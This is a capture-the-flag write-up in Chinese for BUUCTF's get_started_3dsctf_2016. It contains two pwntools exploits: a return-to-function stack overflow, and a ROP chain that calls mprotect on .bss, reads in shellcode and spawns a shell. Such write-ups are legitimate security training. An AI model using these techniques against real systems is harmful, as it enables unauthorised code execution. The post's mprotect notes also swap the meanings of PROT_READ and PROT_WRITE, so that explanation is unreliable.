get_started_3dsctf_2016【BUUCTF】(两种解法)

37 篇文章 3 订阅
37 篇文章 0 订阅

分析

在这里插入图片描述
发现main函数中执行了gets函数,并且还存在一个get_flag函数,则考虑进行栈溢出,方法一

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != 255 )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

方法一

思路很简单,就是通过gets函数溢出执行get_flag函数,并且使得a1,a2的值满足if语句

from pwn import *
# io = process("./get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26489)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0) # get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

tips:最后必须要返回exit,因为本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,则可回显flag!!!
但有个小小疑问:本方法大概布局:'a’offset + ‘ebp’ + get_flag + get_flag的返回地址 + 参数1 + 参数2
但为啥溢出了‘ebp’ 地址则失败,我最开始payload为:payload = b’a’
(56+4)+p32(0x080489A0) + p32(0x0804E6A0)+p32(0x308CD64F) + p32(0x195719D1),但失败!!

方法二

有些大牛直接通过给bss赋值,使得NX不可执行改成可执行,于是构建shellcode,这里学习一下

mprotect

int mprotect(const void *start, size_t len, int prot);
	第一个参数填的是一个地址,是指需要进行操作的地址。
	第二个参数是地址往后多大的长度。
	第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
  1)PROT_READ:表示内存段内的内容可写;
  2)PROT_WRITE:表示内存段内的内容可读;
  3)PROT_EXEC:表示内存段中的内容可执行;
  4)PROT_NONE:表示内存段中的内容根本没法访问。

prot=7 是可读可写可执行,记住就行,类似于chmod中的7

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。

先找一块地址将其变成可执行的

使用:readelf -S get_started_3dsctf_2016查看,可以使用bss地址空间,因为该地址空间存放全局变量,并且属于静态分配的空间。
在这里插入图片描述
由于要求的地址空间为4K的整数倍,因此后三位为000,即bss_addr = 0x80eb000

from pwn import *
io = process("./get_started_3dsctf_2016")
# io = remote("node4.buuoj.cn",26489)
mprotect_addr = 0x806ec80
read_addr = 0x806e140
bss_addr = 0x80eb000
pop3_ret = 0x8063adb
payload = b'a'*0x38+p32(mprotect_addr)+p32(pop3_ret)+p32(bss_addr)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(pop3_ret)+p32(0)+p32(bss_addr)+p32(0x100)+p32(bss_addr)
io.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
io.sendline(shellcode)
io.interactive()

这里pop3_ret目的是栈平衡,由于mprotect和read都是3个参数,选用三个参数的pop进行栈平衡,这块我不是很懂,得继续学习

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值